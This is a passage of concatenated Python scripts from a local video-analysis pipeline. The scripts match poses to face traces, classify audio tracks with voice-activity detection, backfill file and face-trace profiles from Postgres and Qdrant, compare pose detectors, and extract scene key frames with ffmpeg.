1. IoU matching (lower threshold for body vs face)
2. Face center containment (face center within pose bbox)
"""
matched_traces = []
for face in faces_at_frame:
iou = calculate_iou(pose_person["bbox"], face["bbox"])
# Strategy 1: IoU matching (lower threshold)
if iou > iou_threshold:
matched_traces.append({
"trace_id": face["trace_id"],
"iou": iou,
"method": "iou"
})
# Strategy 2: Face center in pose bbox
elif is_face_center_in_pose(face["bbox"], pose_person["bbox"]):
matched_traces.append({
"trace_id": face["trace_id"],
"iou": iou,
"method": "center_containment"
})
# Sort by IoU descending
matched_traces.sort(key=lambda x: x["iou"], reverse=True)
# Assign trace_ids
trace_ids = [t["trace_id"] for t in matched_traces]
# Generate pose_id using first trace_id
if trace_ids:
pose_id = f"pose_{trace_ids[0]}_{frame}"
else:
pose_id = f"pose_none_{frame}"
# Update pose person
pose_person["pose_id"] = pose_id
pose_person["trace_ids"] = trace_ids
return pose_person
def assign_pose_traces(
face_traced_path: str,
pose_path: str,
output_path: str,
iou_threshold: float = 0.3
) -> Dict:
"""
Main function: assign trace_ids to poses.
"""
# Load face_traced.json
print(f"[PoseTrace] Loading face_traced.json: {face_traced_path}")
with open(face_traced_path) as f:
face_traced = json.load(f)
# Load pose.json
print(f"[PoseTrace] Loading pose.json: {pose_path}")
with open(pose_path) as f:
pose_data = json.load(f)
# Build face lookup
face_lookup = build_face_lookup(face_traced)
print(f"[PoseTrace] Built face lookup: {len(face_lookup)} frames with faces")
# Process each frame
total_poses = 0
matched_poses = 0
for frame_data in pose_data.get("frames", []):
frame = frame_data["frame"]
# Find closest faces (within 10 frames)
faces_at_frame = find_closest_faces(face_lookup, frame, max_distance=10)
for person in frame_data.get("persons", []):
total_poses += 1
# Match pose to traces
matched_person = match_pose_to_traces(
person, faces_at_frame, frame, iou_threshold
)
if matched_person.get("trace_ids"):
matched_poses += 1
print(f"[PoseTrace] Matched {matched_poses}/{total_poses} poses to traces")
# Update metadata
pose_data["trace_matching"] = {
"total_poses": total_poses,
"matched_poses": matched_poses,
"iou_threshold": iou_threshold
}
# Save pose_traced.json
print(f"[PoseTrace] Saving to: {output_path}")
with open(output_path, "w") as f:
json.dump(pose_data, f, indent=2, ensure_ascii=False)
return pose_data
def main():
parser = argparse.ArgumentParser(description="Assign trace_ids to poses")
parser.add_argument("--uuid", required=True, help="Video file UUID")
parser.add_argument("--iou-threshold", type=float, default=0.3, help="IoU threshold for matching")
parser.add_argument("--output-dir", help="Output directory (default: from env)")
args = parser.parse_args()
output_dir = args.output_dir or os.environ.get("MOMENTRY_OUTPUT_DIR", "/Users/accusys/momentry/output")
face_traced_path = os.path.join(output_dir, f"{args.uuid}.face_traced.json")
pose_path = os.path.join(output_dir, f"{args.uuid}.pose.json")
output_path = os.path.join(output_dir, f"{args.uuid}.pose_traced.json")
# Check input files exist
if not os.path.exists(face_traced_path):
print(f"[PoseTrace] Error: face_traced.json not found: {face_traced_path}")
return 1
if not os.path.exists(pose_path):
print(f"[PoseTrace] Error: pose.json not found: {pose_path}")
return 1
# Run matching
assign_pose_traces(face_traced_path, pose_path, output_path, args.iou_threshold)
return 0
if __name__ == "__main__":
exit(main())
scripts/audio_track_probe.py
Executable
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#!/opt/homebrew/bin/python3.11
"""
Audio Track Probe - Audio track detection and VAD classification
Used during S0 Register phase to classify audio tracks:
- no_audio: No audio track
- silent_audio: Audio track but no speech detected
- music_only: Audio with no speech (music/sound effects)
- speech_only: Audio with speech only
- speech_with_music: Audio with speech and background music
Usage:
python audio_track_probe.py --file /path/to/video.mp4
python audio_track_probe.py --file /path/to/video.mp4 --json
Output (text):
music_only
Output (JSON):
{"classification": "music_only", "speech_ratio": 0.0, "speech_segments": 0, "duration": 93.3}
"""
import argparse
import json
import subprocess
import sys
import tempfile
from pathlib import Path
try:
import torch
import numpy as np
from scipy.io import wavfile
HAS_TORCH = True
except ImportError:
HAS_TORCH = False
def get_audio_tracks(file_path: str) -> list[dict]:
"""
Get audio track information using ffprobe.
Returns:
List of audio track dicts with: index, codec, channels, language, title
"""
cmd = [
"ffprobe", "-v", "quiet",
"-print_format", "json",
"-show_streams",
"-select_streams", "a",
file_path
]
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode != 0:
return []
data = json.loads(result.stdout)
streams = data.get("streams", [])
tracks = []
for s in streams:
track = {
"index": s.get("index", 0),
"codec": s.get("codec_name", "unknown"),
"channels": s.get("channels", 2),
"language": s.get("tags", {}).get("language", ""),
"title": s.get("tags", {}).get("title", ""),
}
tracks.append(track)
return tracks
def select_best_track(tracks: list[dict]) -> int | None:
"""
Select the best audio track for VAD analysis.
Priority (原聲優先):
1. Language = original/und/unknown (assumed original)
2. Language matches common original track codes
3. Most channels
4. First track
Returns:
Stream index of best track, or None if no tracks
"""
if not tracks:
return None
# Priority 1: original/und/unknown language
for t in tracks:
lang = t.get("language", "").lower()
if lang in ("", "und", "original", "unknown"):
return t["index"]
# Priority 2: common original track languages
original_langs = ("zho", "chi", "jpn", "jap", "kor", "tha", "vie")
for t in tracks:
lang = t.get("language", "").lower()
if lang in original_langs:
return t["index"]
# Priority 3: Most channels
tracks_sorted = sorted(tracks, key=lambda x: x.get("channels", 0), reverse=True)
return tracks_sorted[0]["index"]
def extract_audio_for_vad(file_path: str, stream_index: int | None = None) -> str | None:
"""
Extract audio to temp WAV file for VAD analysis.
Returns:
Path to temp WAV file, or None if extraction failed
"""
with tempfile.NamedTemporaryFile(suffix=".wav", delete=False) as f:
output_path = f.name
cmd = ["ffmpeg", "-y", "-v", "quiet"]
if stream_index is not None:
cmd.extend(["-stream_loop", "1", "-i", file_path, "-map", f"0:{stream_index}"])
else:
cmd.extend(["-i", file_path])
cmd.extend([
"-vn", "-ac", "1", "-ar", "16000",
"-acodec", "pcm_s16le",
output_path
])
result = subprocess.run(cmd, capture_output=True)
if result.returncode != 0:
return None
return output_path
def run_vad_classification(audio_path: str) -> tuple[str, float, int]:
"""
Run Silero VAD to classify audio.
Returns:
(classification, speech_ratio, speech_segments_count)
classification: one of "music_only", "speech_only", "speech_with_music"
"""
if not HAS_TORCH:
return ("speech_only", 0.5, 0) # Default fallback
try:
# Read WAV file using scipy (avoids torchaudio dependency issues)
sample_rate, wav_data = wavfile.read(audio_path)
# Convert to float32 and normalize
if wav_data.dtype == np.int16:
wav = torch.from_numpy(wav_data.astype(np.float32) / 32768.0)
elif wav_data.dtype == np.int32:
wav = torch.from_numpy(wav_data.astype(np.float32) / 2147483648.0)
elif wav_data.dtype == np.float32:
wav = torch.from_numpy(wav_data)
else:
wav = torch.from_numpy(wav_data.astype(np.float32))
# Ensure mono
if len(wav.shape) > 1:
wav = wav[:, 0]
# Resample to 16kHz if needed
if sample_rate != 16000:
import torchaudio
resampler = torchaudio.transforms.Resample(sample_rate, 16000)
wav = resampler(wav)
sample_rate = 16000
# Load VAD model
model, utils = torch.hub.load(
repo_or_dir="snakers4/silero-vad",
model="silero_vad",
force_reload=False,
trust_repo=True,
)
model.eval()
get_speech_timestamps = utils[0]
speech_timestamps = get_speech_timestamps(
wav, model,
sampling_rate=16000,
min_speech_duration_ms=500,
min_silence_duration_ms=300,
return_seconds=True,
)
total_duration = len(wav) / 16000.0
speech_duration = sum(ts["end"] - ts["start"] for ts in speech_timestamps)
speech_ratio = speech_duration / total_duration if total_duration > 0 else 0.0
# Classification logic:
# - speech_ratio < 0.01: music_only (no speech detected)
# - speech_ratio >= 0.01 and speech_ratio < 0.3: speech_with_music (sparse speech)
# - speech_ratio >= 0.3: speech_only (mostly speech)
if speech_ratio < 0.01:
classification = "music_only"
elif speech_ratio < 0.3:
classification = "speech_with_music"
else:
classification = "speech_only"
return (classification, speech_ratio, len(speech_timestamps))
except Exception as e:
print(f"VAD error: {e}", file=sys.stderr)
return ("speech_only", 0.5, 0)
def probe_audio_track(file_path: str) -> dict:
"""
Main function: probe audio track and classify.
Returns:
dict with: classification, speech_ratio, speech_segments, duration,
track_index, track_language, all_tracks
"""
# Get audio tracks
tracks = get_audio_tracks(file_path)
if not tracks:
return {
"classification": "no_audio",
"speech_ratio": 0.0,
"speech_segments": 0,
"duration": 0.0,
"track_index": None,
"track_language": None,
"all_tracks": [],
}
# Select best track
best_index = select_best_track(tracks)
best_track = next((t for t in tracks if t["index"] == best_index), tracks[0])
# Extract audio for VAD
audio_path = extract_audio_for_vad(file_path, best_index)
if audio_path is None:
return {
"classification": "silent_audio",
"speech_ratio": 0.0,
"speech_segments": 0,
"duration": 0.0,
"track_index": best_index,
"track_language": best_track.get("language", ""),
"all_tracks": tracks,
}
# Get duration
probe_cmd = [
"ffprobe", "-v", "quiet",
"-print_format", "json",
"-show_format",
audio_path
]
probe_result = subprocess.run(probe_cmd, capture_output=True, text=True)
duration = 0.0
if probe_result.returncode == 0:
probe_data = json.loads(probe_result.stdout)
duration = float(probe_data.get("format", {}).get("duration", 0))
# Run VAD
classification, speech_ratio, speech_segments = run_vad_classification(audio_path)
# Cleanup temp file
Path(audio_path).unlink(missing_ok=True)
return {
"classification": classification,
"speech_ratio": round(speech_ratio, 4),
"speech_segments": speech_segments,
"duration": round(duration, 2),
"track_index": best_index,
"track_language": best_track.get("language", ""),
"all_tracks": tracks,
}
def main():
parser = argparse.ArgumentParser(description="Audio track probe with VAD classification")
parser.add_argument("--file", "-f", required=True, help="Video file path")
parser.add_argument("--json", "-j", action="store_true", help="Output as JSON")
args = parser.parse_args()
result = probe_audio_track(args.file)
if args.json:
print(json.dumps(result, indent=2))
else:
print(result["classification"])
if __name__ == "__main__":
main()
scripts/backfill_profiles.py
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#!/usr/bin/env python3
"""One-time backfill: generate .profile.json for all registered files."""
import json
import os
import sys
import subprocess
from datetime import datetime, timezone
OUTPUT_DIR = os.environ.get("MOMENTRY_OUTPUT_DIR", "/Users/accusys/momentry/output")
DB_URL = os.environ.get("DATABASE_URL", "postgres://accusys@localhost:5432/momentry")
PSQL = "/opt/homebrew/Cellar/libpq/18.4/bin/psql"
def query_db(sql):
result = subprocess.run(
[PSQL, "-U", "accusys", "-d", "momentry", "-t", "-A", "-c", sql],
capture_output=True, text=True
)
if result.returncode != 0:
print(f"DB error: {result.stderr}", file=sys.stderr)
return []
lines = result.stdout.strip().split("\n")
return [line for line in lines if line.strip()]
def extract_key_frame(video_path, duration, output_dir, file_uuid):
"""Extract a representative frame using ffmpeg, save as JPG."""
seek_time = duration * 0.1 if duration > 0 else 1.0
out_path = os.path.join(output_dir, f"{file_uuid}.key_frame.jpg")
try:
result = subprocess.run(
[
"ffmpeg", "-y", "-ss", f"{seek_time:.2f}",
"-i", video_path,
"-vframes", "1",
"-vf", "scale=640:-1",
"-q:v", "5",
out_path
],
capture_output=True, timeout=30
)
if result.returncode == 0 and os.path.exists(out_path):
return f"{file_uuid}.key_frame.jpg"
except Exception as e:
print(f" key_frame extraction failed: {e}", file=sys.stderr)
return None
def main():
print(f"Output dir: {OUTPUT_DIR}")
print(f"Looking for files without .profile.json...")
# Get all registered files
rows = query_db(
"SELECT file_uuid, COALESCE(file_name, ''), COALESCE(file_path, ''), "
"COALESCE(file_type, 'unknown'), COALESCE(content_hash, ''), "
"COALESCE(duration, 0), COALESCE(width, 0), COALESCE(height, 0), "
"COALESCE(fps, 0), COALESCE(total_frames, 0) "
"FROM videos ORDER BY created_at"
)
created = 0
skipped = 0
for row in rows:
parts = row.split("|")
if len(parts) < 10:
continue
file_uuid, file_name, file_path, file_type, content_hash, \
duration, width, height, fps, total_frames = parts[:10]
# Compute total_frames from duration * fps if DB value is 0
db_total_frames = int(total_frames)
duration_f = float(duration)
fps_f = float(fps)
if db_total_frames <= 0 and duration_f > 0 and fps_f > 0:
computed_frames = int(duration_f * fps_f)
db_total_frames = computed_frames
query_db(
f"UPDATE videos SET total_frames = {db_total_frames} WHERE file_uuid = '{file_uuid}'"
)
profile_path = os.path.join(OUTPUT_DIR, f"{file_uuid}.profile.json")
if os.path.exists(profile_path):
# Patch existing profiles with total_frames=0
with open(profile_path) as pf:
existing = json.load(pf)
if existing.get("metadata", {}).get("total_frames") == 0 and duration_f > 0 and fps_f > 0:
existing["metadata"]["total_frames"] = db_total_frames
with open(profile_path, "w") as pf:
json.dump(existing, pf, indent=2, ensure_ascii=False)
print(f" [patched] {file_uuid}: total_frames 0 → {db_total_frames}")
skipped += 1
continue
now = datetime.now(timezone.utc).isoformat()
parent = os.path.dirname(file_path) if file_path else ""
profile = {
"version": "1.0",
"file_uuid": file_uuid,
"file_name": file_name,
"file_type": file_type,
"birth": {
"mac_address": "",
"birthday": now,
"original_path": parent,
"original_filename": file_name,
"canonical_path": file_path,
"content_hash": content_hash if content_hash else None
},
"current": {
"path": file_path,
"file_name": file_name,
"file_type": file_type
},
"history": [{
"action": "backfilled",
"timestamp": now,
"path": file_path,
"file_name": file_name
}],
"metadata": {
"duration": duration_f,
"width": int(width),
"height": int(height),
"fps": fps_f,
"total_frames": db_total_frames
} if duration_f > 0 or int(width) > 0 else None,
"key_frame": None # will be filled below
}
# Extract key_frame for video files that exist on disk
if file_type == "video" and file_path and os.path.exists(file_path):
print(f" Extracting key_frame for {file_name}...")
kf = extract_key_frame(file_path, float(duration), OUTPUT_DIR, file_uuid)
if kf:
profile["key_frame"] = kf
with open(profile_path, "w") as f:
json.dump(profile, f, indent=2, ensure_ascii=False)
created += 1
print(f" Created: {file_uuid}.profile.json ({file_name or 'ZOMBIE'})")
print(f"\nDone: {created} created, {skipped} skipped (already exist)")
if __name__ == "__main__":
main()
scripts/backfill_trace_profiles.py
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#!/usr/bin/env python3
"""
Backfill trace profiles from Qdrant _faces collection.
For each (file_uuid, trace_id) group in Qdrant:
1. Compute frame_count, start_frame, end_frame, avg_confidence
2. Pick representative frame (highest confidence)
3. Extract key_frame.jpg from video via ffmpeg
4. Crop key_face.jpg from key_frame using representative bbox
5. Write output/{file_uuid}/trace_{N}/trace_profile.json
Usage:
python3 backfill_trace_profiles.py [--file-uuid UUID] [--dry-run]
"""
import argparse
import json
import os
import subprocess
import sys
import urllib.request
import urllib.error
from collections import defaultdict
OUTPUT_DIR = os.environ.get("MOMENTRY_OUTPUT_DIR", "/Users/accusys/momentry/output")
QDRANT_URL = os.environ.get("QDRANT_URL", "http://localhost:6333")
QDRANT_API_KEY = os.environ.get("QDRANT_API_KEY", "Test3200Test3200Test3200")
FACES_COLLECTION = "_faces"
BATCH_SIZE = 1000
def qdrant_scroll(filter_dict, limit=BATCH_SIZE, offset=None, with_payload=None):
"""Scroll Qdrant collection with filter."""
body = {"limit": limit, "filter": filter_dict, "with_vector": False}
if offset:
body["offset"] = offset
if with_payload:
body["with_payload"] = with_payload
url = f"{QDRANT_URL}/collections/{FACES_COLLECTION}/points/scroll"
data = json.dumps(body).encode()
req = urllib.request.Request(url, data=data, method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("Api-Key", QDRANT_API_KEY)
with urllib.request.urlopen(req) as resp:
return json.loads(resp.read())
def scroll_all(filter_dict, with_payload=None):
"""Scroll all matching points."""
all_points = []
offset = None
while True:
result = qdrant_scroll(filter_dict, offset=offset, with_payload=with_payload)
points = result.get("result", {}).get("points", [])
if not points:
break
all_points.extend(points)
offset = result.get("result", {}).get("next_page_offset")
if not offset or len(points) < BATCH_SIZE:
break
return all_points
def get_video_path(file_uuid):
"""Get video file path from database."""
psql = "/opt/homebrew/Cellar/libpq/18.4/bin/psql"
result = subprocess.run(
[psql, "-U", "accusys", "-d", "momentry", "-t", "-A", "-c",
f"SELECT file_path FROM videos WHERE file_uuid = '{file_uuid}'"],
capture_output=True, text=True
)
if result.returncode == 0 and result.stdout.strip():
return result.stdout.strip()
return None
def extract_key_frame(video_path, frame_num, fps, output_path):
"""Extract a specific frame from video using ffmpeg."""
if fps <= 0:
return False
timestamp = frame_num / fps
try:
result = subprocess.run(
["ffmpeg", "-y", "-ss", f"{timestamp:.3f}",
"-i", video_path,
"-vframes", "1", "-vf", "scale=640:-1", "-q:v", "5",
output_path],
capture_output=True, timeout=30
)
return result.returncode == 0 and os.path.exists(output_path)
except Exception as e:
print(f" key_frame extraction failed: {e}", file=sys.stderr)
return False
def crop_key_face(key_frame_path, bbox, output_path):
"""Crop key_face from key_frame using bbox."""
x, y, w, h = bbox["x"], bbox["y"], bbox["width"], bbox["height"]
if w <= 0 or h <= 0:
return False
try:
result = subprocess.run(
["ffmpeg", "-y", "-i", key_frame_path,
"-vf", f"crop={w}:{h}:{x}:{y}",
"-q:v", "2", output_path],
capture_output=True, timeout=10
)
return result.returncode == 0 and os.path.exists(output_path)
except Exception as e:
print(f" key_face crop failed: {e}", file=sys.stderr)
return False
def build_trace_profiles(file_uuid=None, dry_run=False):
"""Build trace profiles from Qdrant _faces data."""
# Get all unique file_uuids with trace_id >= 0
if file_uuid:
file_uuids = [file_uuid]
else:
print("Scanning Qdrant for all file_uuids with trace_id >= 0...")
points = scroll_all(
{"must": [{"key": "trace_id", "range": {"gte": 0}}]},
with_payload={"include": ["file_uuid"]}
)
file_uuids = sorted(set(p["payload"]["file_uuid"] for p in points))
print(f"Found {len(file_uuids)} files with trace data")
total_profiles = 0
for fid in file_uuids:
print(f"\n--- {fid} ---")
# Scroll all points for this file with trace_id >= 0
points = scroll_all(
{
"must": [
{"key": "file_uuid", "match": {"value": fid}},
{"key": "trace_id", "range": {"gte": 0}},
]
},
with_payload={"include": ["frame", "trace_id", "bbox", "confidence"]}
)
if not points:
print(" No points with trace_id >= 0")
continue
# Group by trace_id
traces = defaultdict(list)
for p in points:
pl = p["payload"]
tid = pl.get("trace_id", 0)
traces[tid].append({
"frame": pl["frame"],
"bbox": pl.get("bbox", {}),
"confidence": pl.get("confidence", 0.0),
})
print(f" {len(points)} points, {len(traces)} traces")
# Get video path
video_path = get_video_path(fid)
if not video_path or not os.path.exists(video_path):
print(f" Video not found, skipping key_frame extraction")
video_path = None
# Get FPS from DB
fps = 30.0
if video_path:
psql = "/opt/homebrew/Cellar/libpq/18.4/bin/psql"
result = subprocess.run(
[psql, "-U", "accusys", "-d", "momentry", "-t", "-A", "-c",
f"SELECT COALESCE(fps, 30.0) FROM videos WHERE file_uuid = '{fid}'"],
capture_output=True, text=True
)
if result.returncode == 0 and result.stdout.strip():
try:
fps = float(result.stdout.strip())
except ValueError:
pass
for tid, faces in sorted(traces.items()):
if tid < 0:
continue
frames = [f["frame"] for f in faces]
confidences = [f["confidence"] for f in faces]
frame_count = len(faces)
start_frame = min(frames)
end_frame = max(frames)
avg_confidence = sum(confidences) / frame_count if frame_count > 0 else 0.0
# Representative frame: highest confidence
best = max(faces, key=lambda f: f["confidence"])
best_frame = best["frame"]
best_bbox = best["bbox"]
trace_dir = os.path.join(OUTPUT_DIR, fid, f"trace_{tid}")
profile_path = os.path.join(trace_dir, "trace_profile.json")
kf_path = os.path.join(trace_dir, "key_frame.jpg")
face_path = os.path.join(trace_dir, "key_face.jpg")
profile = {
"version": "1.0",
"file_uuid": fid,
"trace_id": tid,
"label": "",
"frame_count": frame_count,
"start_frame": start_frame,
"end_frame": end_frame,
"avg_confidence": round(avg_confidence, 6),
"key_frame": "key_frame.jpg" if os.path.exists(kf_path) else None,
"key_face": "key_face.jpg" if os.path.exists(face_path) else None,
"status": "pending",
}
if dry_run:
print(f" trace_{tid}: {frame_count} frames [{start_frame}-{end_frame}] "
f"conf={avg_confidence:.3f} best_frame={best_frame}")
continue
os.makedirs(trace_dir, exist_ok=True)
# Extract key_frame.jpg if not exists
if not os.path.exists(kf_path) and video_path:
extract_key_frame(video_path, best_frame, fps, kf_path)
if os.path.exists(kf_path):
profile["key_frame"] = "key_frame.jpg"
# Crop key_face.jpg from key_frame if not exists
if not os.path.exists(face_path) and os.path.exists(kf_path) and best_bbox:
crop_key_face(kf_path, best_bbox, face_path)
if os.path.exists(face_path):
profile["key_face"] = "key_face.jpg"
# Write trace_profile.json
with open(profile_path, "w") as f:
json.dump(profile, f, indent=2, ensure_ascii=False)
total_profiles += 1
if not dry_run:
print(f" Created {len([t for t in traces if t >= 0])} trace profiles")
print(f"\nDone: {total_profiles} trace profiles created")
def main():
parser = argparse.ArgumentParser(description="Backfill trace profiles from Qdrant")
parser.add_argument("--file-uuid", help="Process only this file UUID")
parser.add_argument("--dry-run", action="store_true", help="Show what would be created")
args = parser.parse_args()
build_trace_profiles(file_uuid=args.file_uuid, dry_run=args.dry_run)
if __name__ == "__main__":
main()
scripts/compare_pose_detections.py
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#!/opt/homebrew/bin/python3.11
"""
Compare Apple Vision pose vs MediaPipe pose
Finds:
- Intersection: Poses detected by both
- Apple Vision only: Poses only in Apple Vision
- MediaPipe only: Poses only in MediaPipe
Usage:
python3 scripts/compare_pose_detections.py --file-uuid <uuid>
"""
import argparse
import json
from pathlib import Path
def load_apple_vision_poses(file_uuid, output_dir):
"""Load Apple Vision pose data from pose.json"""
pose_path = Path(output_dir) / f"{file_uuid}.pose.json"
if not pose_path.exists():
return {}
with open(pose_path) as f:
data = json.load(f)
poses = {}
for frame in data.get('frames', []):
frame_num = frame.get('frame', frame.get('frame_number', 0))
for i, person in enumerate(frame.get('persons', [])):
pose_key = f"frame_{frame_num}_person_{i}"
poses[pose_key] = {
'frame': frame_num,
'person_idx': i,
'keypoints': person.get('keypoints', []),
'source': 'apple_vision'
}
return poses
def load_mediapipe_poses(file_uuid, output_dir):
"""Load MediaPipe pose data from pose.mediapipe.json"""
pose_path = Path(output_dir) / f"{file_uuid}.pose.mediapipe.json"
if not pose_path.exists():
return {}
with open(pose_path) as f:
data = json.load(f)
poses = {}
for frame in data.get('frames', []):
frame_num = frame.get('frame', 0)
for i, person in enumerate(frame.get('persons', [])):
pose_key = f"frame_{frame_num}_person_{i}"
poses[pose_key] = {
'frame': frame_num,
'person_idx': i,
'keypoints': person.get('keypoints', []),
'source': 'mediapipe'
}
return poses
def compare_poses(file_uuid, output_dir):
"""Compare Apple Vision vs MediaPipe poses."""
print(f"[compare] Loading pose data for {file_uuid}...")
av_poses = load_apple_vision_poses(file_uuid, output_dir)
mp_poses = load_mediapipe_poses(file_uuid, output_dir)
print(f"[compare] Apple Vision poses: {len(av_poses)}")
print(f"[compare] MediaPipe poses: {len(mp_poses)}")
# Find intersection and differences
av_keys = set(av_poses.keys())
mp_keys = set(mp_poses.keys())
intersection = av_keys & mp_keys
av_only = av_keys - mp_keys
mp_only = mp_keys - av_keys
print(f"\n[compare] === COMPARISON ===")
print(f"[compare] Intersection (both detected): {len(intersection)}")
print(f"[compare] Apple Vision only: {len(av_only)}")
print(f"[compare] MediaPipe only: {len(mp_only)}")
# Analyze intersection - check alignment
intersection_aligned = 0
for key in intersection:
av_pose = av_poses[key]
mp_pose = mp_poses[key]
# Check if both have face keypoints
av_face_kps = [kp for kp in av_pose.get('keypoints', []) if kp.get('name') in ['nose', 'left_eye', 'right_eye']]
mp_face_kps = [kp for kp in mp_pose.get('keypoints', []) if kp.get('name') in ['nose', 'left_eye', 'right_eye']]
if av_face_kps and mp_face_kps:
intersection_aligned += 1
print(f"\n[compare] Intersection with face keypoints: {intersection_aligned}")
# Frame coverage
av_frames = set(av_poses[k]['frame'] for k in av_keys)
mp_frames = set(mp_poses[k]['frame'] for k in mp_keys)
print(f"\n[compare] === FRAME COVERAGE ===")
print(f"[compare] Apple Vision frames: {len(av_frames)}")
print(f"[compare] MediaPipe frames: {len(mp_frames)}")
print(f"[compare] Overlapping frames: {len(av_frames & mp_frames)}")
# Save results
output_path = Path(output_dir) / f"{file_uuid}.pose_comparison.json"
with open(output_path, 'w') as f:
json.dump({
'apple_vision_count': len(av_poses),
'mediapipe_count': len(mp_poses),
'intersection_count': len(intersection),
'apple_vision_only_count': len(av_only),
'mediapipe_only_count': len(mp_only),
'intersection_aligned_count': intersection_aligned,
'apple_vision_frames': len(av_frames),
'mediapipe_frames': len(mp_frames),
'overlapping_frames': len(av_frames & mp_frames),
'intersection_keys': sorted(list(intersection))[:100], # Sample
'apple_vision_only_keys': sorted(list(av_only))[:100],
'mediapipe_only_keys': sorted(list(mp_only))[:100],
}, f, indent=2)
print(f"\n[compare] Results saved to: {output_path}")
def main():
parser = argparse.ArgumentParser(description="Compare pose detections")
parser.add_argument("--file-uuid", "-u", required=True, help="File UUID")
parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory")
args = parser.parse_args()
compare_poses(args.file_uuid, args.output_dir)
if __name__ == "__main__":
main()
scripts/cut_key_frame.py
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#!/opt/homebrew/bin/python3.11
"""
Cut Key Frame Extraction - Extract representative frames from each scene for VLM analysis
For each scene in cut.json, extracts the middle frame as a key frame.
Output: {uuid}_scene_{n}.jpg files in output directory
Usage:
python cut_key_frame.py --file-uuid abc123 --video /path/to/video.mp4 --cut-json /path/to/cut.json
python cut_key_frame.py --file-uuid abc123 --video /path/to/video.mp4 --cut-json /path/to/cut.json --output-dir /custom/output
Output:
{output_dir}/{uuid}_scene_1.jpg
{output_dir}/{uuid}_scene_2.jpg
...
"""
import argparse
import json
import subprocess
import sys
from pathlib import Path
def extract_frame(video_path: str, frame_number: int, output_path: str) -> bool:
"""
Extract a single frame from video using ffmpeg.
Args:
video_path: Path to video file
frame_number: Frame number to extract (0-indexed)
output_path: Output path for the frame
Returns:
True if successful, False otherwise
"""
cmd = [
"ffmpeg", "-y", "-v", "quiet",
"-i", video_path,
"-vf", f"select=eq(n\\,{frame_number})",
"-vframes", "1",
"-q:v", "2",
output_path
]
result = subprocess.run(cmd, capture_output=True)
return result.returncode == 0
def extract_scene_key_frames(
file_uuid: str,
video_path: str,
cut_json_path: str,
output_dir: str,
) -> dict:
"""
Extract key frames from each scene in cut.json.
Args:
file_uuid: File UUID
video_path: Path to video file
cut_json_path: Path to cut.json
output_dir: Output directory for key frames
Returns:
Dict with scenes processed and output paths
"""
# Read cut.json
with open(cut_json_path, 'r') as f:
cut_data = json.load(f)
scenes = cut_data.get("scenes", [])
if not scenes:
print(f"No scenes found in {cut_json_path}", file=sys.stderr)
return {"scenes": [], "output_dir": output_dir}
fps = cut_data.get("fps", 24.0)
output_path = Path(output_dir)
output_path.mkdir(parents=True, exist_ok=True)
results = []
for scene in scenes:
scene_number = scene.get("scene_number", 0)
start_frame = scene.get("start_frame", 0)
end_frame = scene.get("end_frame", 0)
# Extract middle frame
middle_frame = (start_frame + end_frame) // 2
# Output path
output_file = output_path / f"{file_uuid}_scene_{scene_number}.jpg"
# Extract frame
success = extract_frame(video_path, middle_frame, str(output_file))
results.append({
"scene_number": scene_number,
"middle_frame": middle_frame,
"start_frame": start_frame,
"end_frame": end_frame,
"output_path": str(output_file),
"success": success,
})
if success:
print(f"[CUT_KEY_FRAME] Scene {scene_number}: frame {middle_frame} -> {output_file}")
else:
print(f"[CUT_KEY_FRAME] Scene {scene_number}: FAILED to extract frame {middle_frame}", file=sys.stderr)
return {
"file_uuid": file_uuid,
"total_scenes": len(scenes),
"scenes": results,
"output_dir": str(output_dir),
}
def main():
parser = argparse.ArgumentParser(description="Extract key frames from scenes for VLM analysis")
parser.add_argument("--file-uuid", "-u", required=True, help="File UUID")
parser.add_argument("--video", "-v", required=True, help="Video file path")
parser.add_argument("--cut-json", "-c", required=True, help="cut.json path")
parser.add_argument("--output-dir", "-o", default=None, help="Output directory (default: same as cut.json)")
parser.add_argument("--json", "-j", action="store_true", help="Output as JSON")
args = parser.parse_args()
# Default output dir to same as cut.json
output_dir = args.output_dir or str(Path(args.cut_json).parent)
result = extract_scene_key_frames(
args.file_uuid,
args.video,
args.cut_json,
output_dir,
)
if args.json:
print(json.dumps(result, indent=2))
else:
print(f"Extracted {result['total_scenes']} scene key frames to {result['output_dir']}")
if __name__ == "__main__":
main()
scripts/eval_embedding_models.py
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#!/opt/homebrew/bin/python3.11
"""
Embedding Model Evaluation - Compare embeddinggemma vs nomic-embed-text-v2-moe
Usage:
python3 scripts/eval_embedding_models.py --file-uuid <uuid> --output-dir /path/to/output
Metrics:
1. Accuracy: Semantic similarity ranking quality
2. Speed: Latency per embedding
3. Dimension: Vector size
"""
import argparse
import json
import math
import os
import sys
import time
from pathlib import Path
try:
import requests
except ImportError:
print("requests not installed: pip install requests", file=sys.stderr)
sys.exit(1)
# Embedding endpoints
EMBED_A_URL = "http://localhost:11436/v1/embeddings" # embeddinggemma
EMBED_B_URL = "http://localhost:11434/api/embed" # nomic-embed-text-v2-moe
EMBED_B_MODEL = "nomic-embed-text-v2-moe"
# Test queries (Chinese, English, Mixed)
TEST_QUERIES = [
{"query": "穿西裝的男人", "lang": "zh"},
{"query": "室內辦公室", "lang": "zh"},
{"query": "雪景", "lang": "zh"},
{"query": "持槍的人", "lang": "zh"},
{"query": "woman in white dress", "lang": "en"},
{"query": "outdoor scene night", "lang": "en"},
{"query": "person holding object", "lang": "en"},
{"query": "穿著 formal 的男人", "lang": "mixed"},
]
def get_embedding_a(text: str) -> tuple:
"""Get embedding from embeddinggemma (port 11436)."""
start = time.time()
try:
resp = requests.post(EMBED_A_URL, json={"input": text}, timeout=30)
resp.raise_for_status()
data = resp.json()
elapsed = time.time() - start
return data["data"][0]["embedding"], elapsed
except Exception as e:
print(f"[eval] embeddinggemma error: {e}", file=sys.stderr)
return [], 0
def get_embedding_b(text: str) -> tuple:
"""Get embedding from nomic-embed-text-v2-moe (port 11434)."""
start = time.time()
try:
resp = requests.post(EMBED_B_URL, json={"model": EMBED_B_MODEL, "input": text}, timeout=30)
resp.raise_for_status()
data = resp.json()
elapsed = time.time() - start
return data["embeddings"][0], elapsed
except Exception as e:
print(f"[eval] nomic error: {e}", file=sys.stderr)
return [], 0
def cosine_similarity(a: list, b: list) -> float:
"""Calculate cosine similarity."""
if not a or not b or len(a) != len(b):
return 0.0
dot = sum(x * y for x, y in zip(a, b))
norm_a = math.sqrt(sum(x * x for x in a))
norm_b = math.sqrt(sum(y * y for y in b))
